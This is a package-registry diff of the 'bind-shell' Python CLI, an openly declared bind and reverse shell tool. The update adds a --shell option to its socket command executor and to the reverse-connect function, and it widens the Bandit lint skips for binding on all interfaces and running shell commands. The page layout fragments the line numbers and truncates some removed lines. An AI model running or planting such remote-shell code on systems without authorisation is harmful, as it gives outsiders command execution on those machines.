bind-shell 0.1.2__tar.gz → 0.1.3rc2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/PKG-INFO +1 -1
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/pyproject.toml +2 -2
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/pysrc/bind_shell/app.py +10 -4
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/pysrc/bind_shell/commands.py +11 -8
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/README.md +0 -0
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/pyplate.md +0 -0
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/pysrc/bind_shell/__init__.py +0 -0
- {bind_shell-0.1.2 → bind_shell-0.1.3rc2}/pysrc/bind_shell/__main__.py +0 -0
|
@@ -26,7 +26,7 @@ pythonpath = ["pysrc"]
|
|
|
26
26
|
|
|
27
27
|
[tool.poetry]
|
|
28
28
|
name = "bind-shell"
|
|
29
|
-
version = "0.1.
|
|
29
|
+
version = "0.1.3rc2"
|
|
30
30
|
description = "A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies."
|
|
31
31
|
authors = ["Tyson Holub <tyson@tysonholub.com>"]
|
|
32
32
|
license = "MIT"
|
|
@@ -56,7 +56,7 @@ include_trailing_comma = true
|
|
|
56
56
|
src_paths = ["pysrc", "pytests"]
|
|
57
57
|
|
|
58
58
|
[tool.bandit]
|
|
59
|
-
skips = ["B603", "B602"]
|
|
59
|
+
skips = ["B104", "B604", "B603", "B602"]
|
|
60
60
|
|
|
61
61
|
[tool.coverage.report]
|
|
62
62
|
# Regexes for lines to exclude from consideration
|
|
@@ -47,13 +47,16 @@ def _generate_password() -> str:
|
|
|
47
47
|
|
|
48
48
|
@cli.command(name="server", help="Bind shell: bind a port and execute commands from an incoming client")
|
|
49
49
|
def server(
|
|
50
|
-
host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
|
|
50
|
+
host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
|
|
51
51
|
port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
|
|
52
|
+
shell: Annotated[
|
|
53
|
+
str | None, typer.Option("--shell", help="Shell executable to use (e.g. /bin/bash, pwsh)")
|
|
54
|
+
] = None,
|
|
52
55
|
):
|
|
53
56
|
ip = get_ip()
|
|
54
57
|
password = _generate_password()
|
|
55
58
|
logger.info(f"Bind-Shell Connection: bind-shell client {ip} --port {port} --password {password}")
|
|
56
|
-
run_server(host=host, port=port, password=password)
|
|
59
|
+
run_server(host=host, port=port, password=password, shell=shell)
|
|
57
60
|
|
|
58
61
|
|
|
59
62
|
@cli.command(name="client", help="Bind shell: connect to a server and send commands interactively")
|
|
@@ -67,7 +70,7 @@ def client(
|
|
|
67
70
|
|
|
68
71
|
@cli.command(name="listen", help="Reverse shell: bind a port and send commands to an incoming connector")
|
|
69
72
|
def listen(
|
|
70
|
-
host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
|
|
73
|
+
host: Annotated[str, typer.Option("--host", help="Host address to bind to")] = "0.0.0.0",
|
|
71
74
|
port: Annotated[int, typer.Option("--port", help="Port to listen on")] = DEFAULT_PORT,
|
|
72
75
|
):
|
|
73
76
|
ip = get_ip()
|
|
@@ -81,5 +84,8 @@ def connect(
|
|
|
81
84
|
host: Annotated[str, typer.Argument(help="Host address of the reverse shell listener")],
|
|
82
85
|
port: Annotated[int, typer.Option("--port", help="Port to connect to")] = DEFAULT_PORT,
|
|
83
86
|
password: Annotated[str, typer.Option("--password", help="Password for authentication")] = ...,
|
|
87
|
+
shell: Annotated[
|
|
88
|
+
str | None, typer.Option("--shell", help="Shell executable to use (e.g. /bin/bash, pwsh)")
|
|
89
|
+
] = None,
|
|
84
90
|
):
|
|
85
|
-
run_connect(host=host, port=port, password=password)
|
|
91
|
+
run_connect(host=host, port=port, password=password, shell=shell)
|
|
@@ -32,7 +32,7 @@ def _auth_client(sock: socket.socket, password: str) -> bool:
|
|
|
32
32
|
return response.strip() == b"authenticated"
|
|
33
33
|
|
|
34
34
|
|
|
35
|
-
def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
|
|
35
|
+
def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT, shell: str | None = None):
|
|
36
36
|
while True:
|
|
37
37
|
conn.sendall(prompt)
|
|
38
38
|
try:
|
|
@@ -46,7 +46,10 @@ def _executor_loop(conn: socket.socket, prompt: bytes = PROMPT):
|
|
|
46
46
|
break
|
|
47
47
|
logger.info(f"$ {cmd}")
|
|
48
48
|
try:
|
|
49
|
-
|
|
49
|
+
if shell:
|
|
50
|
+
result = subprocess.run([shell, "-c", cmd], capture_output=True, timeout=CMD_TIMEOUT) # nosec
|
|
51
|
+
else:
|
|
52
|
+
result = subprocess.run(cmd, shell=True, capture_output=True, timeout=CMD_TIMEOUT) # nosec
|
|
50
53
|
output = result.stdout + result.stderr
|
|
51
54
|
except subprocess.TimeoutExpired:
|
|
52
55
|
output = b"Command timed out\n"
|
|
@@ -76,13 +79,13 @@ def _interactive_loop(sock: socket.socket):
|
|
|
76
79
|
pass
|
|
77
80
|
|
|
78
81
|
|
|
79
|
-
def _executor_session(conn: socket.socket, addr: tuple, password: str):
|
|
82
|
+
def _executor_session(conn: socket.socket, addr: tuple, password: str, shell: str | None = None):
|
|
80
83
|
logger.info(f"Client connected: {addr[0]}:{addr[1]}")
|
|
81
84
|
if not _auth_server(conn, password):
|
|
82
85
|
logger.info(f"Authentication failed: {addr[0]}:{addr[1]}")
|
|
83
86
|
return
|
|
84
87
|
try:
|
|
85
|
-
_executor_loop(conn, prompt=f"bind-shell@{conn.getsockname()[0]}$ ".encode())
|
|
88
|
+
_executor_loop(conn, prompt=f"bind-shell@{conn.getsockname()[0]}$ ".encode(), shell=shell)
|
|
86
89
|
finally:
|
|
87
90
|
logger.info(f"Client disconnected: {addr[0]}:{addr[1]}")
|
|
88
91
|
|
|
@@ -101,7 +104,7 @@ def _interactive_session(conn: socket.socket, addr: tuple, password: str):
|
|
|
101
104
|
sys.stdout.buffer.flush()
|
|
102
105
|
|
|
103
106
|
|
|
104
|
-
def run_server(host: str, port: int, password: str):
|
|
107
|
+
def run_server(host: str, port: int, password: str, shell: str | None = None):
|
|
105
108
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
|
|
106
109
|
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
107
110
|
server.bind((host, port))
|
|
@@ -109,7 +112,7 @@ def run_server(host: str, port: int, password: str):
|
|
|
109
112
|
try:
|
|
110
113
|
while True:
|
|
111
114
|
conn, addr = server.accept()
|
|
112
|
-
threading.Thread(target=_executor_session, args=(conn, addr, password), daemon=True).start()
|
|
115
|
+
threading.Thread(target=_executor_session, args=(conn, addr, password, shell), daemon=True).start()
|
|
113
116
|
except KeyboardInterrupt:
|
|
114
117
|
pass
|
|
115
118
|
|
|
@@ -136,10 +139,10 @@ def run_listen(host: str, port: int, password: str):
|
|
|
136
139
|
pass
|
|
137
140
|
|
|
138
141
|
|
|
139
|
-
def run_connect(host: str, port: int, password: str):
|
|
142
|
+
def run_connect(host: str, port: int, password: str, shell: str | None = None):
|
|
140
143
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
|
|
141
144
|
sock.connect((host, port))
|
|
142
145
|
local_ip, local_port = sock.getsockname()
|
|
143
146
|
if not _auth_client(sock, password):
|
|
144
147
|
raise Exception("Authentication failed")
|
|
145
|
-
_executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode())
|
|
148
|
+
_executor_loop(sock, prompt=f"bind-shell@{local_ip}:{local_port}$ ".encode(), shell=shell)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|